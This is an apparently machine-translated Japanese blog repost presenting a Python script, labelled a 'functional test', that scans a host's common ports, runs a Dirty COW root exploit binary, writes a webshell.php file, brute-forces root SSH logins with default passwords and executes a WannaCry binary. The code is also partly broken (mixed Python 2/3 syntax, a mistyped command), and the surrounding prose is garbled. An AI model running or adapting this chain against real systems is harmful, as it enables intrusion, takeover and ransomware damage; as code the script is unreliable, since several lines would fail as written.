機能テストスクリプトの一例

2244 ワード

前言:
n長い間テストのために書いたスクリプトは、いくつかのバージョンを更新しました.最も簡単なバージョンを出します.
 
テストでは、サードパーティ製ライブラリをできるだけ少なく使用する必要があります.
 
# coding:utf-8
import socket
import sys
import os
import paramiko
#  
def scan_port(host):
    ports = [21, 22, 23, 53, 139, 445, 1433, 3306, 3389]
    target_ip = socket.gethostbyname(host)
    for port in ports:
        print "port scanning is %s " % port
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(2)
        result = sock.connect_ex((target_ip, port))
        if result == 0:
            print("open_port:" + port)
#  
def exec_system():
    print(os.system('whoami'))
    print(os.system('name -a'))
    print(os.system('cat /proc/version'))
#  dirtycow 
def get_root(path):
    path = path + '/dirtycow'
    os.system("chmod +x {}".format(path))
    os.system("./{}".format(path))
#  
def echo_webshell(path):
    path = path + '/webshell.php'
    with open(path, 'w') as f:
        f.writelines("")
#  ssh
def ssh_connect(host):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    password = ['toor', 'admin123']
    for pwd in password:
        try:
            ssh.connect(hostname=host, port=22, username='root', password=pwd, timeout=5)
            ssh.close()
            print(' ! :root' + ' :' + pwd + ',ip:' + host)
        except paramiko.AuthenticationException, e:
            pass
        except socket.error, e:
            pass
#  wannacry 
def exec_wannacry(path):
    path = path + '/wannacry'
    os.system("chmod +x {}".format(path))
    os.system("./{}".format(path))
if __name__ == '__main__':
    if len(sys.argv) < 2:
        print('argument error')
        print('example:python checklist.py -h 127.0.0.1 -p /tmp/')
        exit(0)
    host = sys.argv[2]
    path = sys.argv[4]
    scan_port(host)
    echo_webshell(path)
    get_root(path)
    ssh_connect(host)
    exec_wannacry(path)

  
転載先:https://www.cnblogs.com/whoami101/p/10272605.html